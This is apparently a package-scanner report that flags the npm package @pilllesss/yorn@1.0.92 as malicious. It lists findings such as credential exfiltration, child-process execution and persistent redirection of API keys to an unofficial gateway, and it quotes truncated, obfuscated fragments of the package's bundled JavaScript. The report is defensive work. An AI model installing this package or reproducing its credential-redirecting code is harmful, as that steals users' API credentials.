@pilllesss/yorn@1.0.92: Malicious npm security report (Block)

Loading npm security reports…

@pilllesss/yorn@1.0.92: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

15 flagged

11${eMF(e)}`);if(null==o)throw new Il(`missing choices[${r}].tool_calls[${i}].function.arguments L12: ${eMF(e)}`);return{...a,id:l,type:s,function:{...d,name:u,arguments:o}}})}}:{...s,message:{...u,content:l,role:d,refusal:t.refusal??null},finish_reason:i,index:r,logprobs:n}}),crea... L13: Content-Disposition: form-data; name="`;return e.forEach((e,t)=>"string"==typeof e?r.push(n+Py(t)+`"\r ... L22: \r L23: `),n=!1,s=!1;e.on("response",e=>{let{headers:t}=e;n="chunked"===t[tGH.build(["sfer-encod","ing","tran"],[2,0,1])]&&!t[tGH.build(["content-","length"],[0,1])]}),e.on("socket",l=>{le... L24: `)}function eXp(e){return e.map(e=>"text"===e.type?e.text:"thinking"===e.type?e.thinking:`${e.name}:${JSON.stringify(e.arguments)}`).join(`

Critical

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution with blocking evidence.

dist/yorn.cjsView on unpkg · L11

2globalThis.__yorn_dynamic_import = (m) => import(m); L3: var e,t,i,r,n,s,l,a,o,u,d,c,b,h,p,m,f,g,_,y,E,S,v,A,w,T,C,I,x,R,O,k,N,D,P,M,L,F,U,B,$,j,G,q,H,W,V,Y,K,z,Q,J,X,Z,ee,et,ei,er,en,es,el,ea,eo,eu,ed,ec,eb,eh,ep,em,ef,eg,e_,ey,eE,eS,ev... L4: `),u.push(e),u.push(`\r ... L7: `),u.push(`\r L8: `)}u.push(null)}),u}async function eNR(e,t){let i=0,r=[],n=e.getReader(),s=!1;for(;!s;){let{done:e,value:l}=await n.read();if(l&&(r.push(l),i+=l?.byteLength??0),i>=t)break;s=e}n.re... L9: ${eMF(e)}`);if(null==s)throw new Il(`missing choices[${r}].tool_calls[${i}].type ... L11: ${eMF(e)}`);if(null==o)throw new Il(`missing choices[${r}].tool_calls[${i}].function.arguments L12: ${eMF(e)}`);return{...a,id:l,type:s,function:{...d,name:u,arguments:o}}})}}:{...s,message:{...u,content:l,role:d,refusal:t.

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

dist/yorn.cjsView on unpkg · L2

2Trigger-reachable chain: manifest.bin -> dist/yorn.cjs L2: globalThis.__yorn_dynamic_import = (m) => import(m); L3: var e,t,i,r,n,s,l,a,o,u,d,c,b,h,p,m,f,g,_,y,E,S,v,A,w,T,C,I,x,R,O,k,N,D,P,M,L,F,U,B,$,j,G,q,H,W,V,Y,K,z,Q,J,X,Z,ee,et,ei,er,en,es,el,ea,eo,eu,ed,ec,eb,eh,ep,em,ef,eg,e_,ey,eE,eS,ev... L4: `),u.push(e),u.push(`\r ... L7: `),u.push(`\r L8: `)}u.push(null)}),u}async function eNR(e,t){let i=0,r=[],n=e.getReader(),s=!1;for(;!s;){let{done:e,value:l}=await n.read();if(l&&(r.push(l),i+=l?.byteLength??0),i>=t)break;s=e}n.re... L9: ${eMF(e)}`);if(null==s)throw new Il(`missing choices[${r}].tool_calls[${i}].type ... L11: ${eMF(e)}`);if(null==o)throw new Il(`missing choices[${r}].tool_calls[${i}].function.arguments L12: ${eMF(e)}`);return{...a,id:l,type:s,function:{...d,name:u,arguments:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/yorn.cjsView on unpkg · L2

22\r L23: `),n=!1,s=!1;e.on("response",e=>{let{headers:t}=e;n="chunked"===t[tGH.build(["sfer-encod","ing","tran"],[2,0,1])]&&!t[tGH.build(["content-","length"],[0,1])]}),e.on("socket",l=>{le... L24: `)}function eXp(e){return e.map(e=>"text"===e.type?e.text:"thinking"===e.type?e.thinking:`${e.name}:${JSON.stringify(e.arguments)}`).join(`

High

Child Process

Package source references child process execution.

dist/yorn.cjsView on unpkg · L22

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/yorn.cjs: `),n=!1,s=!1;e.on("response",e=>{let{headers:t}=e;n="chunked"===t[tGH.build(["sfer-encod","ing","tran"],[2,0,1])]&&!t[tGH.build(["content-","length"],[0,1])]}),e.on("socket",l=>{le... `)}function eX_(e,t){let i=Math.min(e.length,t.length),r=0;for(;r<i&&e[r]===t[r];)r++;return r}function eXy(e,t,i,r){let n=eXg(t),s=eXc(n),l=eXc(eXp(e.content)),a=s,o=0,u=0,d=i?.se... `){return tGU.evalInvariant(31485)&&"string"==typeof e?e:e.filter(e=>"text"===e.type).map(e=>e.text).join(t)}function eXW(e,t){return Yb.Unsafe({type:"string",enum:e,...t?.descript... --api-key <key> API key (defaults to env vars) # Print a prov

High

Credential Redirect Persistence

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code